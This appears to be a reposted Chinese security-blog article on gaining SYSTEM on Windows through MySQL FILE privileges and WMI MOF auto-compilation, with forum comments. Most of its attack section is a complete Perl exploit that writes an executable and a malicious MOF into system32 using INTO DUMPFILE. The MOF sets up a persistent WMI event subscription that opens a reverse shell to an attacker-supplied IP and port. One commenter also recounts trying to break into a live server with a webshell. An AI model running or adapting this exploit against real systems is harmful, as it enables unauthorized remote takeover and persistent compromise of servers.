Mysql结合权限提升(Windows)

admin 2021年4月3日19:26:46评论35 views字数 3400阅读11分20秒阅读模式

漏洞正是工业级病毒Stuxnet所用的0day之一

 

windows写权限变成可执行权限的利用喜)

xsser

Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件

方法 1: 运行 MOF 文件指定为命令行参数将 Mofcomp.exe 文件。

Method2: 使用 IMofCompiler 接口和 $ CompileFile 方法。

方法 3: 拖放到 %SystemRoot%System32WbemMOF 文件夹的 MOF 文件。

Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile 方法。

第三种方法仅为向后兼容性与早期版本的 WMI 提供,并因为此功能可能不会提供在将来的版本后,不应使用。

很多测试的时候会用得到吧,另外感觉应该有其他很多地方得机制可以导致自动启动?

 

鬼哥  :

@xsser 我现在只想知道怎么停止已执行的mof,昨天测试的时候放了个.mof到C:WINDOWSsystem32wbemmof 从昨天晚上一直到现在还在每过5秒就执行次 加个用户,搞的我郁闷死了。。。

昨天听 B1n4ry 说把net stop winmgmt 服务停止后,然后在删除了加进去的.mof OK 没继续执行了,,但是我怕服务器出现问题又把winmgmt 服务启动了, 邪恶 又开始5秒后自动加用户!

咋办。。

whking  

@鬼哥 删除C:WINDOWSsystem32wbemmofgood 添加的mof后,在启动winmgmt 没出现加账户啊!

C:Documents and SettingsAdministrator>net stop winmgmt

Windows Management Instrumentation 服务正在停止.

Windows Management Instrumentation 服务已成功停止。

C:Documents and SettingsAdministrator>net start winmgmt

Windows Management Instrumentation 服务正在启动 .

Windows Management Instrumentation 服务已经启动成功。

 

鬼哥  

@xsser 我错了,,,正确的方式是:

第一 net stop winmgmt 停止服务,

第二 删除文件夹:C:WINDOWSsystem32wbemRepository

第三 net start winmgmt 启动服务

第四:完毕不会在执行了。C:WINDOWSsystem32wbemRepository 放的是储存库 我们执行的.mof都会被加入到这个库了。然后一直按脚本设置的时间执行。。 删除后 重新启动 会重建个默认储存库 这样我们先前执行mof就没了

 

perl利用代码

# MySQL on Windows Remote Exploit
# Leverages file privileges to obtain a SYSTEM shell
# tested o windows server 2003
# Will retrieve the equivalent of:
#C:UserskingcopeDownloadsnc11nt>nc -v -l -p 5555
#listening on [any] 5555 ...
#connect to [192.168.2.150] from isowarez [192.168.2.150] 60357
#Microsoft Windows [Version 5.2.3790]
#(C) Copyright 1985-2003 Microsoft Corp.
#
#C:WINDOWSsystem32>whoami
#whoami
#nt authoritysystem
#
#C:WINDOWSsystem32>
#
use DBI();
use Encode;
$|=1;

if ($#ARGV != 4) {
print "MySQL on Windows Remote Exploit (requires user with 'file' privs)n";
print "Usage: perl mysql_win_remote.pl n";
print "Example: perl mysql_win_remote.pl 192.168.2.100 root "" 192.168.2.150 5555n";
exit;
}

$database = "mysql";
$host = $ARGV[0];
$user = $ARGV[1];
$password = $ARGV[2];
$ip = $ARGV[3];
$port = $ARGV[4];

$payload = "#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
{
    EventNamespace = "Root\\Cimv2";
    Name  = "filtP2";
    Query = "Select * From __InstanceModificationEvent "
            "Where TargetInstance Isa \"Win32_LocalTime\" "
            "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText = 
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"event.exe $ip $port\")";
};

instance of __FilterToConsumerBinding
{
    Consumer   = $Consumer;
    Filter = $EventFilter;
};";

my $dbh = DBI->connect("DBI:mysql:database=$database;host=$host;",
                     $user, $password,
                     {'RaiseError' => 0});

sub createblobs {
$tablename = shift;
$file = shift;
eval { $dbh->do("DROP TABLE $tablename") };
print "Dropping $tablename failed: $@n" if $@;

$dbh->do("CREATE TABLE $tablename (data LONGBLOB)");

open FILE, "prepare($sql) or do {
    die "It didn't work. [$DBI::errstr]n";
};
$sth->bind_param(1, $data);
$sth->execute or do {
    die "It didn't work. [$DBI::errstr]n";
};
$sth->finish();
}

my $sth = $dbh->prepare("SELECT @@version_compile_os;");
$sth->execute();

while (my @row = $sth->fetchrow_array()) {
print "MySQL Version: $row[0]n";
}
if (!$row[0] =~ /win/i) {
        print "nThis is not a Windows MySQLD!n";
        exit;
}
print "W00TW00T!n";

createblobs("table1", "event.exe");

open FILE, ">nullevt.mof";
print FILE $payload;
close FILE;

createblobs("table2", "nullevt.mof");

$dbh->do("SELECT data FROM table1 INTO DUMPFILE 'c:/windows/system32/event.exe'");
$dbh->do("SELECT data FROM table2 INTO DUMPFILE 'c:/windows/system32/wbem/mof/nullevt.mof'");

$dbh->disconnect();

print "done.";

这个脚本只能针对开启远程连接的账户,只能远程利用

简单写下就能改成php 让本地使用了,

参考:

http://support.microsoft.com/kb/245773/zh-cn

http://www.exploit-db.com/exploits/23083/

http://msdn.microsoft.com/ZH-CN/library/windows/desktop/aa394171(v=vs.85).aspx

摘自:https://www.t00ls.net/thread-21251-1-1.html

相关内容:

windows写权限变成可执行权限的利用

About Mysql 的那个提权漏洞

MySQL 的 Windows 远程系统级漏洞(Stuxnet 病毒采用的技术)

留言评论(旧系统):

新来的 @ 2013-03-11 22:45:36

前天拿到一个 做人流的坑人站....服务器 2008 菜刀连接后 所有盘符可读可写
数据库无ROOT 权限 但只有启动项无法写入
CMD 无法执行 SERV-U 10.2 找不到漏洞... 有杀软 大马 都传不上去
数据库也没开外连 也开不了
马传上去也无法运行..
粘滞键 也替换不了
纠结到死啊

本站回复:

╮(╯_╰)╭

文章来源于lcx.cc:Mysql结合权限提升(Windows)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月3日19:26:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Mysql结合权限提升(Windows)http://cn-sec.com/archives/322546.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息